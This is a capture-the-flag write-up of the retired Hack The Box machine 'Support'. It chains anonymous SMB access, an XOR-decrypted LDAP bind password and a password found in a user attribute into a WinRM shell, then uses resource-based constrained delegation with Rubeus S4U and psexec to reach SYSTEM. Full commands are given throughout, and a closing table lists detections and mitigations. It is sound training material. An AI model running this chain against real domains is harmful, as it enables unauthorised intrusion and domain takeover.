Skip to content
Pwnversity
SUPPORT10 min · upd. 2026-11

Support

active-directorysmbldaprbcddelegacionbloodhound
Platform Hack The Box (retired)
OS Windows — DC dc.support.htb, domain support.htb
Difficulty Easy
Approx. time ~40 min
Chain Anonymous SMB → UserInfo.exe (XOR LDAP bind pass) → support user’s info field → WinRM → GenericAll over the DC → RBCD + S4U → psexec → SYSTEM
flowchart TD
  A["Anonymous SMB: support-tools share"] --> B["UserInfo.exe (.NET)"]
  B -->|ILSpy / Wireshark| C["LDAP bind password<br/>ldap@support.htb (XOR)"]
  C -->|ldapsearch| D["support user<br/>info field = password"]
  D -->|evil-winrm| E["support (user.txt)"]
  E -->|BloodHound| F["Shared Support Accounts<br/>GenericAll over the DC"]
  F -->|create machine + RBCD| G["msds-allowedtoactonbehalfof…"]
  G -->|Rubeus S4U → Administrator| H["cifs/dc.support.htb ticket"]
  H -->|psexec -k| I["NT AUTHORITY\SYSTEM"]
  • An SMB share (support-tools) readable anonymously holds UserInfo.exe, a .NET binary that queries LDAP. Decompiling it (ILSpy) or capturing its traffic (Wireshark) gives the password it binds to LDAP with as ldap@support.htb (XOR-encrypted).
  • With that bind, we list the directory and see that the support user has its password in the info field. We log in over WinRM.
  • support belongs to Shared Support Accounts, which has GenericAll over the DC. With that we mount an RBCD attack: create a machine, configure the delegation and, with an S4U, get a ticket as Administrator → SYSTEM.

  1. Port scan

    What I do:

    Ventana de terminal
    IP=<target_ip>
    ports=$(sudo nmap -p- --min-rate 5000 -n -Pn $IP | grep '^[0-9]' | cut -d/ -f1 | paste -sd,)
    sudo nmap -sCV -p$ports $IP -oN nmap/targeted

    What I see: AD ports: 389/636 (LDAP/LDAPS), 445 (SMB), 5985 (WinRM). No web.

    What I think: Windows + AD with no web → start with SMB. → Network service enumeration

2. Initial access: from the share to the LDAP bind

Section titled “2. Initial access: from the share to the LDAP bind”
  1. Anonymous share

    What I do:

    Ventana de terminal
    smbclient -L \\\\$IP\\ -N
    smbclient \\\\$IP\\support-tools -N
    smb> get UserInfo.exe.zip

    What I see: a non-standard share, support-tools, with installers (putty, WireShark) and one file that stands out: UserInfo.exe.zip.

    What I think: the known installers are noise; the custom executable is the target. → AD / SMB enumeration

  2. Analyze the .NET binary

    What I do: unzip and see that UserInfo.exe is a .NET assembly. I decompile it with ILSpy.

    What I see (snippet):

    entry = new DirectoryEntry("LDAP://support.htb", "support\\ldap", password);
    // password comes from Protected.getPassword():
    enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
    key = Encoding.ASCII.GetBytes("armando");
    // array[i] ^ key[i % len] ^ 0xDF

    What I think: the LDAP bind password is XOR-encrypted (Base64 → XOR with key armando → XOR with 0xDF). I replicate the decryption:

    import base64
    from itertools import cycle
    enc = base64.b64decode("0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E")
    key = b"armando"
    print(''.join(chr(e ^ k ^ 0xDF) for e, k in zip(enc, cycle(key))))
    # nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
  3. Enumerate LDAP with the bind

    What I do:

    Ventana de terminal
    echo "$IP support.htb dc.support.htb" | sudo tee -a /etc/hosts
    ldapsearch -x -H ldap://support.htb -D 'ldap@support.htb' \
    -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "dc=support,dc=htb" "*"

    What I see: among the users, support has a non-standard attribute info holding Ironside47pleasure40Watchful, and it belongs to Remote Management Users.

    What I think: the info (notes) field looking like a password + membership of Remote Management Users = a WinRM credential. → Credential hunting

  4. WinRM as support

    What I do:

    Ventana de terminal
    evil-winrm -i support.htb -u support -p 'Ironside47pleasure40Watchful'

    What I see: a shell as support. user.txt → abcd…wxyz (redacted).

  1. BloodHound: find the path

    What I do: collect data with SharpHound (or bloodhound-python) and mark support as owned.

    What I see: the Shared Support Accounts group, which support is a member of, has GenericAll over the DC object.

    What I think: GenericAll over a computer = full control of its attributes, including msDS-AllowedToActOnBehalfOfOtherIdentity. That enables an RBCD (Resource-Based Constrained Delegation). → ACL abuse · AD delegation

  2. RBCD requirements

    What I think: the attack needs three things, and I have them:

    • A user in Authenticated Users → can add machines to the domain.
    • ms-DS-MachineAccountQuota > 0 (default 10).
    • WRITE over the target computer (here GenericAll over the DC).
    Ventana de terminal
    Get-ADObject -Identity ((Get-ADDomain).distinguishedName) -Properties ms-DS-MachineAccountQuota
    # 10
  3. Create a machine and configure the delegation

    What I do: from the WinRM shell, with PowerMad and the AD module:

    Ventana de terminal
    New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
    Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$
    Get-ADComputer -Identity DC -Properties PrincipalsAllowedToDelegateToAccount

    Why it works: I create the FAKE-COMP01 computer (mine, I know its password) and, thanks to GenericAll, I write on the DC that it trusts FAKE-COMP01 to act on its behalf (msDS-AllowedToActOnBehalfOfOtherIdentity). That’s the essence of RBCD.

  4. S4U: ticket as Administrator

    What I do: compute the RC4 hash of the machine password and request the ticket with Rubeus.

    Ventana de terminal
    .\Rubeus.exe hash /password:Password123 /user:FAKE-COMP01$ /domain:support.htb
    .\Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:<rc4_hmac> /impersonateuser:Administrator `
    /msdsspn:cifs/dc.support.htb /domain:support.htb /ptt

    Why it works: since FAKE-COMP01 can act on behalf of the DC, I run an S4U2self + S4U2proxy to request a cifs/dc.support.htb service ticket impersonating Administrator. The service will accept that ticket. → Lateral movement and delegation

  5. From ticket to SYSTEM

    What I do: export the ticket, convert it to impacket’s format and open a shell.

    Ventana de terminal
    base64 -d ticket.kirbi.b64 > ticket.kirbi
    impacket-ticketConverter ticket.kirbi ticket.ccache
    KRB5CCNAME=ticket.ccache impacket-psexec support.htb/administrator@dc.support.htb -k -no-pass
    cat C:\Users\Administrator\Desktop\root.txt

    What I see: nt authority\system. root.txt → abcd…wxyz (redacted).


The anonymous share has an executable that isn’t known software. What does it do and how does it authenticate?

What I tried Result How I ruled it out
LDAP injection via Wine (-first "*") Fails under Wine The injection only works running the binary on Windows; it wasn’t needed
Hunting more credentials in shares Nothing The path was the binary, not another file
Kerberoasting / AS-REP No useful accounts The route was the ACL (GenericAll → RBCD)
  • A custom binary in a share → analyze it (ILSpy for .NET, strings, Wireshark). Auth secrets are usually embedded and poorly obfuscated.
  • XOR / Base64 is not encryption: if you see a fixed key and ^, replicate it in 5 lines of Python.
  • When enumerating LDAP, check non-standard attributes (info, description, comment). Passwords end up there.
  • GenericAll / WriteDACL over a computer → think RBCD. It’s the standard escalation when you control a host’s delegation attributes.
  • RBCD needs MachineAccountQuota > 0. If it’s 0, find another route (or an already-controlled computer).
Phase Detection Mitigation
Anonymous share with binaries Events 5140/5145; review binaries with embedded credentials Remove anonymous access; don’t distribute binaries holding secrets
Credential in the info field Audit user attributes for secrets Don’t store passwords in LDAP attributes; rotate them
Machine creation (RBCD) Event 4741 (computer created), 5136 on msDS-AllowedToActOnBehalfOfOtherIdentity MachineAccountQuota = 0; review who has WRITE over the DCs
S4U / Pass-the-Ticket 4769 with SPN cifs/dc, anomalous impersonation Mark sensitive accounts as “not delegable”; protect the admin group